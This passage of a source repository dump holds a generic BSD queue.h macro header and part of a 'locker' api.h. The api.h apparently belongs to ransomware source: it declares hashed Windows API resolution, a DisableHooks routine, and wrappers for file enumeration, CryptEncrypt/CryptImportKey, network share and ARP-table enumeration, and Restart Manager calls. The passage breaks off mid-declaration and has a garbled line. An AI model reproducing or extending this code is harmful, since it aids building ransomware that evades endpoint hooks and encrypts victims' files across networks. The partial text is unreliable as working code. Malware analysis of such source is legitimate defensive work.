| #define LIST_HEAD_INITIALIZER(head) \ 255 | { NULL } 256 | 257 | #define LIST_ENTRY(type) \ 258 | struct { \ 259 | struct type *le_next; /* next element */ \ 260 | struct type **le_prev; /* address of previous next element */ \ 261 | } 262 | 263 | /* 264 | * List functions. 265 | */ 266 | 267 | #define LIST_EMPTY(head) ((head)->lh_first == NULL) 268 | 269 | #define LIST_FIRST(head) ((head)->lh_first) 270 | 271 | #define LIST_FOREACH(var, head, field) \ 272 | for ((var) = LIST_FIRST((head)); \ 273 | (var); \ 274 | (var) = LIST_NEXT((var), field)) 275 | 276 | #define LIST_INIT(head) do { \ 277 | LIST_FIRST((head)) = NULL; \ 278 | } while (0) 279 | 280 | #define LIST_INSERT_AFTER(listelm, elm, field) do { \ 281 | if ((LIST_NEXT((elm), field) = LIST_NEXT((listelm), field)) != NULL)\ 282 | LIST_NEXT((listelm), field)->field.le_prev = \ 283 | &LIST_NEXT((elm), field); \ 284 | LIST_NEXT((listelm), field) = (elm); \ 285 | (elm)->field.le_prev = &LIST_NEXT((listelm), field); \ 286 | } while (0) 287 | 288 | #define LIST_INSERT_BEFORE(listelm, elm, field) do { \ 289 | (elm)->field.le_prev = (listelm)->field.le_prev; \ 290 | LIST_NEXT((elm), field) = (listelm); \ 291 | *(listelm)->field.le_prev = (elm); \ 292 | (listelm)->field.le_prev = &LIST_NEXT((elm), field); \ 293 | } while (0) 294 | 295 | #define LIST_INSERT_HEAD(head, elm, field) do { \ 296 | if ((LIST_NEXT((elm), field) = LIST_FIRST((head))) != NULL) \ 297 | LIST_FIRST((head))->field.le_prev = &LIST_NEXT((elm), field);\ 298 | LIST_FIRST((head)) = (elm); \ 299 | (elm)->field.le_prev = &LIST_FIRST((head)); \ 300 | } while (0) 301 | 302 | #define LIST_NEXT(elm, field) ((elm)->field.le_next) 303 | 304 | #define LIST_REMOVE(elm, field) do { \ 305 | if (LIST_NEXT((elm), field) != NULL) \ 306 | LIST_NEXT((elm), field)->field.le_prev = \ 307 | (elm)->field.le_prev; \ 308 | *(elm)->field.le_prev = LIST_NEXT((elm), field); \ 309 | } while (0) 310 | 311 | /* 312 | * Tail queue declarations. 313 | */ 314 | #define TAILQ_HEAD(name, type) \ 315 | struct name { \ 316 | struct type *tqh_first; /* first element */ \ 317 | struct type **tqh_last; /* addr of last next element */ \ 318 | } 319 | 320 | #define TAILQ_HEAD_INITIALIZER(head) \ 321 | { NULL, &(head).tqh_first } 322 | 323 | #define TAILQ_ENTRY(type) \ 324 | struct { \ 325 | struct type *tqe_next; /* next element */ \ 326 | struct type **tqe_prev; /* address of previous next element */ \ 327 | } 328 | 329 | /* 330 | * Tail queue functions. 331 | */ 332 | #define TAILQ_EMPTY(head) ((head)->tqh_first == NULL) 333 | 334 | #define TAILQ_FIRST(head) ((head)->tqh_first) 335 | 336 | #define TAILQ_FOREACH(var, head, field) \ 337 | for ((var) = TAILQ_FIRST((head)); \ 338 | (var); \ 339 | (var) = TAILQ_NEXT((var), field)) 340 | 341 | #define TAILQ_FOREACH_REVERSE(var, head, headname, field) \ 342 | for ((var) = TAILQ_LAST((head), headname); \ 343 | (var); \ 344 | (var) = TAILQ_PREV((var), headname, field)) 345 | 346 | #define TAILQ_INIT(head) do { \ 347 | TAILQ_FIRST((head)) = NULL; \ 348 | (head)->tqh_last = &TAILQ_FIRST((head)); \ 349 | } while (0) 350 | 351 | #define TAILQ_INSERT_AFTER(head, listelm, elm, field) do { \ 352 | if ((TAILQ_NEXT((elm), field) = TAILQ_NEXT((listelm), field)) != NULL)\ 353 | TAILQ_NEXT((elm), field)->field.tqe_prev = \ 354 | &TAILQ_NEXT((elm), field); \ 355 | else \ 356 | (head)->tqh_last = &TAILQ_NEXT((elm), field); \ 357 | TAILQ_NEXT((listelm), field) = (elm); \ 358 | (elm)->field.tqe_prev = &TAILQ_NEXT((listelm), field); \ 359 | } while (0) 360 | 361 | #define TAILQ_INSERT_BEFORE(listelm, elm, field) do { \ 362 | (elm)->field.tqe_prev = (listelm)->field.tqe_prev; \ 363 | TAILQ_NEXT((elm), field) = (listelm); \ 364 | *(listelm)->field.tqe_prev = (elm); \ 365 | (listelm)->field.tqe_prev = &TAILQ_NEXT((elm), field); \ 366 | } while (0) 367 | 368 | #define TAILQ_INSERT_HEAD(head, elm, field) do { \ 369 | if ((TAILQ_NEXT((elm), field) = TAILQ_FIRST((head))) != NULL) \ 370 | TAILQ_FIRST((head))->field.tqe_prev = \ 371 | &TAILQ_NEXT((elm), field); \ 372 | else \ 373 | (head)->tqh_last = &TAILQ_NEXT((elm), field); \ 374 | TAILQ_FIRST((head)) = (elm); \ 375 | (elm)->field.tqe_prev = &TAILQ_FIRST((head)); \ 376 | } while (0) 377 | 378 | #define TAILQ_INSERT_TAIL(head, elm, field) do { \ 379 | TAILQ_NEXT((elm), field) = NULL; \ 380 | (elm)->field.tqe_prev = (head)->tqh_last; \ 381 | *(head)->tqh_last = (elm); \ 382 | (head)->tqh_last = &TAILQ_NEXT((elm), field); \ 383 | } while (0) 384 | 385 | #define TAILQ_LAST(head, headname) \ 386 | (*(((struct headname *)((head)->tqh_last))->tqh_last)) 387 | 388 | #define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next) 389 | 390 | #define TAILQ_PREV(elm, headname, field) \ 391 | (*(((struct headname *)((elm)->field.tqe_prev))->tqh_last)) 392 | 393 | #define TAILQ_REMOVE(head, elm, field) do { \ 394 | if ((TAILQ_NEXT((elm), field)) != NULL) \ 395 | TAILQ_NEXT((elm), field)->field.tqe_prev = \ 396 | (elm)->field.tqe_prev; \ 397 | else \ 398 | (head)->tqh_last = (elm)->field.tqe_prev; \ 399 | *(elm)->field.tqe_prev = TAILQ_NEXT((elm), field); \ 400 | } while (0) 401 | 402 | /* 403 | * Circular queue declarations. 404 | */ 405 | #define CIRCLEQ_HEAD(name, type) \ 406 | struct name { \ 407 | struct type *cqh_first; /* first element */ \ 408 | struct type *cqh_last; /* last element */ \ 409 | } 410 | 411 | #define CIRCLEQ_HEAD_INITIALIZER(head) \ 412 | { (void *)&(head), (void *)&(head) } 413 | 414 | #define CIRCLEQ_ENTRY(type) \ 415 | struct { \ 416 | struct type *cqe_next; /* next element */ \ 417 | struct type *cqe_prev; /* previous element */ \ 418 | } 419 | 420 | /* 421 | * Circular queue functions. 422 | */ 423 | #define CIRCLEQ_EMPTY(head) ((head)->cqh_first == (void *)(head)) 424 | 425 | #define CIRCLEQ_FIRST(head) ((head)->cqh_first) 426 | 427 | #define CIRCLEQ_FOREACH(var, head, field) \ 428 | for ((var) = CIRCLEQ_FIRST((head)); \ 429 | (var) != (void *)(head); \ 430 | (var) = CIRCLEQ_NEXT((var), field)) 431 | 432 | #define CIRCLEQ_FOREACH_REVERSE(var, head, field) \ 433 | for ((var) = CIRCLEQ_LAST((head)); \ 434 | (var) != (void *)(head); \ 435 | (var) = CIRCLEQ_PREV((var), field)) 436 | 437 | #define CIRCLEQ_INIT(head) do { \ 438 | CIRCLEQ_FIRST((head)) = (void *)(head); \ 439 | CIRCLEQ_LAST((head)) = (void *)(head); \ 440 | } while (0) 441 | 442 | #define CIRCLEQ_INSERT_AFTER(head, listelm, elm, field) do { \ 443 | CIRCLEQ_NEXT((elm), field) = CIRCLEQ_NEXT((listelm), field); \ 444 | CIRCLEQ_PREV((elm), field) = (listelm); \ 445 | if (CIRCLEQ_NEXT((listelm), field) == (void *)(head)) \ 446 | CIRCLEQ_LAST((head)) = (elm); \ 447 | else \ 448 | CIRCLEQ_PREV(CIRCLEQ_NEXT((listelm), field), field) = (elm);\ 449 | CIRCLEQ_NEXT((listelm), field) = (elm); \ 450 | } while (0) 451 | 452 | #define CIRCLEQ_INSERT_BEFORE(head, listelm, elm, field) do { \ 453 | CIRCLEQ_NEXT((elm), field) = (listelm); \ 454 | CIRCLEQ_PREV((elm), field) = CIRCLEQ_PREV((listelm), field); \ 455 | if (CIRCLEQ_PREV((listelm), field) == (void *)(head)) \ 456 | CIRCLEQ_FIRST((head)) = (elm); \ 457 | else \ 458 | CIRCLEQ_NEXT(CIRCLEQ_PREV((listelm), field), field) = (elm);\ 459 | CIRCLEQ_PREV((listelm), field) = (elm); \ 460 | } while (0) 461 | 462 | #define CIRCLEQ_INSERT_HEAD(head, elm, field) do { \ 463 | CIRCLEQ_NEXT((elm), field) = CIRCLEQ_FIRST((head)); \ 464 | CIRCLEQ_PREV((elm), field) = (void *)(head); \ 465 | if (CIRCLEQ_LAST((head)) == (void *)(head)) \ 466 | CIRCLEQ_LAST((head)) = (elm); \ 467 | else \ 468 | CIRCLEQ_PREV(CIRCLEQ_FIRST((head)), field) = (elm); \ 469 | CIRCLEQ_FIRST((head)) = (elm); \ 470 | } while (0) 471 | 472 | #define CIRCLEQ_INSERT_TAIL(head, elm, field) do { \ 473 | CIRCLEQ_NEXT((elm), field) = (void *)(head); \ 474 | CIRCLEQ_PREV((elm), field) = CIRCLEQ_LAST((head)); \ 475 | if (CIRCLEQ_FIRST((head)) == (void *)(head)) \ 476 | CIRCLEQ_FIRST((head)) = (elm); \ 477 | else \ 478 | CIRCLEQ_NEXT(CIRCLEQ_LAST((head)), field) = (elm); \ 479 | CIRCLEQ_LAST((head)) = (elm); \ 480 | } while (0) 481 | 482 | #define CIRCLEQ_LAST(head) ((head)->cqh_last) 483 | 484 | #define CIRCLEQ_NEXT(elm,field) ((elm)->field.cqe_next) 485 | 486 | #define CIRCLEQ_PREV(elm,field) ((elm)->field.cqe_prev) 487 | 488 | #define CIRCLEQ_REMOVE(head, elm, field) do { \ 489 | if (CIRCLEQ_NEXT((elm), field) == (void *)(head)) \ 490 | CIRCLEQ_LAST((head)) = CIRCLEQ_PREV((elm), field); \ 491 | else \ 492 | CIRCLEQ_PREV(CIRCLEQ_NEXT((elm), field), field) = \ 493 | CIRCLEQ_PREV((elm), field); \ 494 | if (CIRCLEQ_PREV((elm), field) == (void *)(head)) \ 495 | CIRCLEQ_FIRST((head)) = CIRCLEQ_NEXT((elm), field); \ 496 | else \ 497 | CIRCLEQ_NEXT(CIRCLEQ_PREV((elm), field), field) = \ 498 | CIRCLEQ_NEXT((elm), field); \ 499 | } while (0) 500 | 501 | #endif /* !_SYS_QUEUE_H_ */ -------------------------------------------------------------------------------- /locker/api.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | #include 4 | #include 5 | 6 | #define HASHING_SEED 7 | 8 | #define KERNEL32DLL_HASH 0x240dfbc0 9 | #define LOADLIBRARYA_HASH 0xbe3d21a8 10 | 11 | enum MODULES { 12 | 13 | KERNEL32_MODULE_ID, 14 | ADVAPI32_MODULE_ID, 15 | NETAPI32_MODULE_ID, 16 | IPHLPAPI_MODULE_ID, 17 | RSTRTMGR_MODULE_ID, 18 | USER32_MODULE_ID, 19 | WS2_32_MODULE_ID, 20 | SHLWAPI_MODULE_ID, 21 | SHELL32_MODULE_ID, 22 | OLE32_MODULE_ID, 23 | OLEAUT32_MODULE_ID 24 | 25 | }; 26 | 27 | 28 | 29 | namespace api { 30 | 31 | VOID DisableHooks(); 32 | BOOL InitializeApiModule(); 33 | BOOL IsRestartManagerLoaded(); 34 | 35 | LPVOID 36 | GetProcAddressEx( 37 | __in_opt LPCSTR ModuleName, 38 | __in_opt DWORD ModuleId, 39 | __in DWORD Hash 40 | ); 41 | 42 | LPVOID 43 | GetProcAddressEx2( 44 | __in char* Dll, 45 | __in DWORD dwModule, 46 | __in DWORD dwProcNameHash, 47 | __in int CacheIndex 48 | ); 49 | 50 | } 51 | 52 | /* 53 | #pragma region templates 54 | 55 | template 56 | inline LPVOID pushargEx() 57 | { 58 | typedef LPVOID(WINAPI* newfunc)(); 59 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 60 | if (func != NULL) 61 | return func(); 62 | return NULL; 63 | } 64 | 65 | template 66 | inline LPVOID pushargEx(A a1) 67 | { 68 | typedef LPVOID(WINAPI* newfunc)(A); 69 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 70 | if (func != NULL) 71 | return func(a1); 72 | return NULL; 73 | } 74 | 75 | template 76 | inline LPVOID pushargEx(A a1, B a2) 77 | { 78 | typedef LPVOID(WINAPI* newfunc)(A, B); 79 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 80 | if (func != NULL) 81 | return func(a1, a2); 82 | return NULL; 83 | } 84 | 85 | template 86 | inline LPVOID pushargEx(A a1, B a2, C a3) 87 | { 88 | typedef LPVOID(WINAPI* newfunc)(A, B, C); 89 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 90 | if (func != NULL) 91 | return func(a1, a2, a3); 92 | return NULL; 93 | } 94 | 95 | template 96 | inline LPVOID pushargEx(A a1, B a2, C a3, D a4) 97 | { 98 | typedef LPVOID(WINAPI* newfunc)(A, B, C, D); 99 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 100 | if (func != NULL) 101 | return func(a1, a2, a3, a4); 102 | return NULL; 103 | } 104 | 105 | template 106 | inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5) 107 | { 108 | typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E); 109 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 110 | if (func != NULL) 111 | return func(a1, a2, a3, a4, a5); 112 | return NULL; 113 | } 114 | 115 | template 116 | inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6) 117 | { 118 | typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F); 119 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 120 | if (func != NULL) 121 | return func(a1, a2, a3, a4, a5, a6); 122 | return NULL; 123 | } 124 | 125 | template 126 | inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7) 127 | { 128 | typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G); 129 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 130 | if (func != NULL) 131 | return func(a1, a2, a3, a4, a5, a6, a7); 132 | return NULL; 133 | } 134 | 135 | template 136 | inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8) 137 | { 138 | typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G, H); 139 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 140 | if (func != NULL) 141 | return func(a1, a2, a3, a4, a5, a6, a7, a8); 142 | return NULL; 143 | } 144 | 145 | template 146 | inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8, I a9) 147 | { 148 | typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G, H, I); 149 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 150 | if (func != NULL) 151 | return func(a1, a2, a3, a4, a5, a6, a7, a8, a9); 152 | return NULL; 153 | } 154 | 155 | template 156 | inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8, I a9, X a10) 157 | { 158 | typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G, H, I, X); 159 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 160 | if (func != NULL) 161 | return func(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10); 162 | return NULL; 163 | } 164 | 165 | template 166 | inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8, I a9, X a10, Y a11) 167 | { 168 | typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G, H, I, X, Y); 169 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 170 | if (func != NULL) 171 | return func(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11); 172 | return NULL; 173 | } 174 | 175 | template 176 | inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8, I a9, X a10, Y a11, Z a12, R a13) 177 | { 178 | typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G, H, I, X, Y, Z, R); 179 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 180 | if (func != NULL) 181 | return func(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13); 182 | return NULL; 183 | } 184 | 185 | template 187 | inline LPVOID pushargEx(A1 a1, A2 a2, A3 a3, A4 a4, A5 a5, A6 a6, A7 a7, A8 a8, 188 | A9 a9, A10 a10, A11 a11, A12 a12) 189 | { 190 | typedef LPVOID(WINAPI* newfunc)(A1, A2, A3, A4, A5, A6, A7, A8, A9, A10, 191 | A11, A12); 192 | newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex); 193 | if (func != NULL) 194 | return func(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12); 195 | return NULL; 196 | } 197 | 198 | #pragma endregion 199 | 200 | #pragma region KERNEL32 201 | 202 | #define pCancelIo pushargEx 203 | #define plstrlenW pushargEx 204 | #define pGetLogicalDriveStringsW pushargEx 205 | #define plstrlenA pushargEx 206 | #define pReadFile pushargEx 207 | #define pGetFileSizeEx pushargEx 208 | #define pGetCurrentProcess pushargEx 209 | #define pWriteFile pushargEx 210 | #define pWow64DisableWow64FsRedirection pushargEx 211 | #define pGetProcessId pushargEx 212 | #define pSetEndOfFile pushargEx 213 | #define pWaitForSingleObject pushargEx 214 | #define pCreateFileW pushargEx ! 215 | #define pGetFileAttributesW pushargEx 216 | #define pSetFileAttributesW pushargEx 217 | #define pWow64RevertWow64FsRedirection pushargEx 218 | #define pGetLastError pushargEx 219 | #define plstrcatW pushargEx 220 | #define pCloseHandle pushargEx 221 | #define pGetNativeSystemInfo pushargEx 222 | #define pSetFilePointerEx pushargEx 223 | #define pCreateProcessW pushargEx 224 | #define plstrcpyW pushargEx 225 | #define pMoveFileW pushargEx 226 | #define pGetCommandLineW pushargEx 227 | #define pCreateMutexA pushargEx 228 | #define pMultiByteToWideChar pushargEx 229 | #define pCreateThread pushargEx 230 | #define plstrcmpiW pushargEx 231 | #define pHeapFree pushargEx 232 | #define pHeapAlloc pushargEx 233 | #define pGetProcessHeap pushargEx 234 | #define pCreateTimerQueueTimer pushargEx 235 | #define pEnterCriticalSection pushargEx 236 | #define pDeleteTimerQueue pushargEx 237 | #define pLeaveCriticalSection pushargEx 238 | #define pInitializeCriticalSection pushargEx 239 | #define pGetQueuedCompletionStatus pushargEx 240 | #define pExitThread pushargEx 241 | #define pPostQueuedCompletionStatus pushargEx 242 | #define pSleep pushargEx 243 | #define pGlobalAlloc pushargEx 244 | #define pGlobalFree pushargEx 245 | #define pDeleteCriticalSection pushargEx 246 | #define pCreateIoCompletionPort pushargEx 247 | #define pCreateTimerQueue pushargEx 248 | #define pFindFirstFileW pushargEx 249 | #define pFindNextFileW pushargEx 250 | #define pFindClose pushargEx 251 | #define plstrcmpW pushargEx 252 | #define pVirtualAlloc pushargEx 253 | #define pWaitForMultipleObjects pushargEx 254 | #define pGetCurrentProcessId pushargEx 255 | #define pGetModuleHandleW pushargEx 256 | 257 | #pragma endregion 258 | 259 | #pragma region ADVAPI32 260 | 261 | #define pCryptImportKey pushargEx 262 | #define pCryptEncrypt pushargEx 263 | #define pCryptGenRandom pushargEx 264 | #define pCryptAcquireContextA pushargEx 265 | 266 | #pragma endregion 267 | 268 | #pragma region NETAPI32 269 | 270 | #define pNetApiBufferFree pushargEx 271 | #define pNetShareEnum pushargEx 272 | 273 | #pragma endregion 274 | 275 | #pragma region IPHLPAPI 276 | 277 | #define pGetIpNetTable pushargEx 278 | 279 | #pragma endregion 280 | 281 | #pragma region SHELL32 282 | 283 | #define pCommandLineToArgvW pushargEx 284 | 285 | #pragma endregion 286 | 287 | #pragma region RSTRTMGR 288 | 289 | #define pRmEndSession pushargEx 290 | #define pRmStartSession pushargEx 291 | #define pRmGetList pushargEx 292 | #define pRmRegisterResources pushargEx 293 | #define pRmShutdown pushargEx 294 | 295 | #pragma endregion 296 | 297 | #pragma region OLE32 298 | 299 | #define pCoUninitialize pushargEx 300 | #define pCoCreateInstance pushargEx 301 | #define pCoSetProxyBlanket pushargEx 302 | #define pCoInitializeSecurity pushargEx 303 | #define pCoInitializeEx pushargEx 304 | 305 | #pragma endregion 306 | 307 | #pragma region USER32 308 | 309 | #define pwsprintfW pushargEx 310 | 311 | #pragma endregion 312 | 313 | #pragma region SHLWAPI 314 | 315 | #define pStrStrIA pushargEx 316 | #define pStrStrIW pushargEx 317 | 318 | #pragma endregion 319 | 320 | #pragma region WS2_32 321 | 322 | #define pgethostbyname pushargEx 323 | #define pgethostname pushargEx 324 | #define psocket pushargEx 325 | #define pWSAIoctl pushargEx 326 | #define pclosesocket pushargEx 327 | #define pWSAAddressToStringW pushargEx 328 | #define pWSASocketW pushargEx 329 | #define pbind pushargEx 330 | #define psetsockopt pushargEx 331 | #define pgetsockopt pushargEx 332 | #define pshutdown pushargEx 333 | #define pWSAStartup pushargEx 334 | #define pWSACleanup pushargEx 335 | #define pInetNtopW pushargEx 336 | 337 | #pragma endregion 338 | */ 339 | 340 | /* 341 | 342 | #pragma region KERNEL32 343 | 344 | BOOL WINAPI pCancelIo( 345 | _In_ HANDLE hFile 346 | ); 347 | 348 | int WINAPI plstrlenW( 349 | LPCWSTR lpString 350 | ); 351 | 352 | DWORD WINAPI pGetLogicalDriveStringsW( 353 | DWORD nBufferLength, 354 | LPWSTR lpBuffer 355 | ); 356 | 357 | int WINAPI plstrlenA( 358 | LPCSTR lpString 359 | ); 360 | 361 | BOOL WINAPI pReadFile( 362 | HANDLE hFile, 363 | LPVOID lpBuffer, 364 | DWORD nNumberOfBytesToRead, 365 | LPDWORD lpNumberOfBytesRead, 366 | LPOVERLAPPED lpOverlapped 367 | ); 368 | 369 | BOOL WINAPI pGetFileSizeEx( 370 | HANDLE hFile, 371 | PLARGE_INTEGER lpFileSize 372 | ); 373 | 374 | HANDLE WINAPI pGetCurrentProcess(); 375 | 376 | BOOL WINAPI pWriteFile( 377 | HANDLE hFile, 378 | LPCVOID lpBuffer, 379 | DWORD nNumberOfBytesToWrite, 380 | LPDWORD lpNumberOfBytesWritten, 381 | LPOVERLAPPED lpOverlapped 382 | ); 383 | 384 | BOOL WINAPI pWow64DisableWow64FsRedirection( 385 | PVOID* OldValue 386 | ); 387 | 388 | DWORD WINAPI pGetProcessId( 389 | HANDLE Process 390 | ); 391 | 392 | BOOL WINAPI pSetEndOfFile( 393 | HANDLE hFile 394 | ); 395 | 396 | DWORD WINAPI pWaitForSingleObject( 397 | HANDLE hHandle, 398 | DWORD dwMilliseconds 399 | ); 400 | 401 | HANDLE WINAPI pCreateFileW( 402 | LPCWSTR lpFileName, 403 | DWORD dwDesiredAccess, 404 | DWORD dwShareMode, 405 | LPSECURITY_ATTRIBUTES lpSecurityAttributes, 406 | DWORD dwCreationDisposition, 407 | DWORD dwFlagsAndAttributes, 408 | HANDLE hTemplateFile 409 | ); 410 | 411 | DWORD WINAPI pGetFileAttributesW( 412 | LPCWSTR lpFileName 413 | ); 414 | 415 | BOOL WINAPI pSetFileAttributesW( 416 | LPCWSTR lpFileName, 417 | DWORD dwFileAttributes 418 | ); 419 | 420 | BOOL WINAPI pWow64RevertWow64FsRedirection( 421 | PVOID OlValue 422 | ); 423 | 424 | 425 | DWORD WINAPI pGetLastError(); 426 | 427 | LPWSTR WINAPI plstrcatW( 428 | LPWSTR lpString1, 429 | LPCWSTR lpString2 430 | ); 431 | 432 | BOOL WINAPI pCloseHandle( 433 | HANDLE hObject 434 | ); 435 | 436 | void WINAPI pGetNativeSystemInfo( 437 | LPSYSTEM_INFO lpSystemInfo 438 | ); 439 | 440 | BOOL WINAPI pSetFilePointerEx( 441 | HANDLE hFile, 442 | LARGE_INTEGER liDistanceToMove, 443 | PLARGE_INTEGER lpNewFilePointer, 444 | DWORD dwMoveMethod 445 | ); 446 | 447 | BOOL WINAPI pCreateProcessW( 448 | LPCWSTR lpApplicationName, 449 | LPWSTR lpCommandLine, 450 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 451 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 452 | BOOL bInheritHandles, 453 | DWORD dwCreationFlags, 454 | LPVOID lpEnvironment, 455 | LPCWSTR lpCurrentDirectory, 456 | LPSTARTUPINFOW lpStartupInfo, 457 | LPPROCESS_INFORMATION lpProcessInformation 458 | ); 459 | 460 | LPWSTR WINAPI plstrcpyW( 461 | LPWSTR lpString1, 462 | LPCWSTR lpString2 463 | ); 464 | 465 | BOOL WINAPI pMoveFileW( 466 | LPCWSTR lpExistingFileName, 467 | LPCWSTR lpNewFileName 468 | ); 469 | 470 | LPWSTR WINAPI pGetCommandLineW(); 471 | 472 | HANDLE WINAPI pCreateMutexA( 473 | LPSECURITY_ATTRIBUTES lpMutexAttributes, 474 | BOOL bInitialOwner, 475 | LPCSTR lpName 476 | ); 477 | 478 | int WINAPI pMultiByteToWideChar( 479 | UINT CodePage, 480 | DWORD dwFlags, 481 | _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, 482 | int cbMultiByte, 483 | LPWSTR lpWideCharStr, 484 | int cchWideChar 485 | ); 486 | 487 | HANDLE WINAPI pCreateThread( 488 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 489 | SIZE_T dwStackSize, 490 | LPTHREAD_START_ROUTINE lpStartAddress, 491 | __drv_aliasesMem LPVOID lpParameter, 492 | DWORD dwCreationFlags, 493 | LPDWORD lpThreadId 494 | ); 495 | 496 | int WINAPI plstrcmpiW( 497 | LPCWSTR lpString1, 498 | LPCWSTR lpString2 499 | ); 500 | 501 | BOOL WINAPI pHeapFree( 502 | HANDLE hHeap, 503 | DWORD dwFlags, 504 | _Frees_ptr_opt_ LPVOID lpMem 505 | ); 506 | 507 | LPVOID WINAPI pHeapAlloc( 508 | HANDLE hHeap, 509 | DWORD dwFlags, 510 | SIZE_T dwBytes 511 | ); 512 | 513 | HANDLE WINAPI pGetProcessHeap(); 514 | 515 | BOOL WINAPI pCreateTimerQueueTimer( 516 | PHANDLE phNewTimer, 517 | HANDLE TimerQueue, 518 | WAITORTIMERCALLBACK Callback, 519 | PVOID DueTime, 520 | DWORD Period, 521 | DWORD Flags, 522 | ULONG Parameter 523 | ); 524 | 525 | void WINAPI pEnterCriticalSection( 526 | LPCRITICAL_SECTION lpCriticalSection 527 | ); 528 | 529 | BOOL WINAPI pDeleteTimerQueue( 530 | HANDLE TimerQueue 531 | ); 532 | 533 | void WINAPI pLeaveCriticalSection( 534 | LPCRITICAL_SECTION lpCriticalSection 535 | ); 536 | 537 | void WINAPI pInitializeCriticalSection( 538 | LPCRITICAL_SECTION lpCriticalSection 539 | ); 540 | 541 | BOOL WINAPI pGetQueuedCompletionStatus( 542 | HANDLE CompletionPort, 543 | LPDWORD lpNumberOfBytesTransferred, 544 | PULONG_PTR lpCompletionKey, 545 | LPOVERLAPPED* lpOverlapped, 546 | DWORD dwMilliseconds 547 | ); 548 | 549 | void WINAPI pExitThread( 550 | DWORD dwExitCode 551 | ); 552 | 553 | BOOL WINAPI pPostQueuedCompletionStatus( 554 | _In_ HANDLE CompletionPort, 555 | _In_ DWORD dwNumberOfBytesTransferred, 556 | _In_ ULONG_PTR dwCompletionKey, 557 | _In_opt_ LPOVERLAPPED lpOverlapped 558 | ); 559 | 560 | void WINAPI pSleep( 561 | DWORD dwMilliseconds 562 | ); 563 | 564 | HGLOBAL WINAPI pGlobalAlloc( 565 | UINT uFlags, 566 | SIZE_T dwBytes 567 | ); 568 | 569 | HGLOBAL WINAPI pGlobalFree( 570 | _Frees_ptr_opt_ HGLOBAL hMem 571 | ); 572 | 573 | void WINAPI pDeleteCriticalSection( 574 | LPCRITICAL_SECTION lpCriticalSection 575 | ); 576 | 577 | HANDLE WINAPI pCreateIoCompletionPort( 578 | _In_ HANDLE FileHandle, 579 | _In_opt_ HANDLE ExistingCompletionPort, 580 | _In_ ULONG_PTR CompletionKey, 581 | _In_ DWORD NumberOfConcurrentThreads 582 | ); 583 | 584 | HANDLE WINAPI pCreateTimerQueue(); 585 | 586 | HANDLE WINAPI pFindFirstFileW( 587 | LPCWSTR lpFileName, 588 | LPWIN32_FIND_DATAW lpFindFileData 589 | ); 590 | 591 | BOOL WINAPI pFindNextFileW( 592 | HANDLE hFindFile, 593 | LPWIN32_FIND_DATAW lpFindFileData 594 | ); 595 | 596 | BOOL WINAPI pFindClose( 597 | HANDLE hFindFile 598 | ); 599 | 600 | int WINAPI plstrcmpW( 601 | LPCWSTR lpString1, 602 | LPCWSTR lpString2 603 | ); 604 | 605 | LPVOID WINAPI pVirtualAlloc( 606 | LPVOID lpAddress, 607 | SIZE_T dwSize, 608 | DWORD flAllocationType, 609 | DWORD flProtect 610 | ); 611 | 612 | DWORD WINAPI pWaitForMultipleObjects( 613 | DWORD nCount, 614 | const HANDLE* lpHandles, 615 | BOOL bWaitAll, 616 | DWORD dwMilliseconds 617 | ); 618 | 619 | DWORD WINAPI pGetCurrentProcessId(); 620 | 621 | HMODULE WINAPI pGetModuleHandleW( 622 | LPCWSTR lpModuleName 623 | ); 624 | 625 | 626 | 627 | #pragma endregion 628 | 629 | 630 | 631 | #pragma region ADVAPI32 632 | 633 | 634 | BOOL WINAPI pCryptImportKey( 635 | HCRYPTPROV hProv, 636 | const BYTE* pbData, 637 | DWORD dwDataLen, 638 | HCRYPTKEY hPubKey, 639 | DWORD dwFlags, 640 | HCRYPTKEY* phKey 641 | ); 642 | 643 | BOOL WINAPI pCryptEncrypt( 644 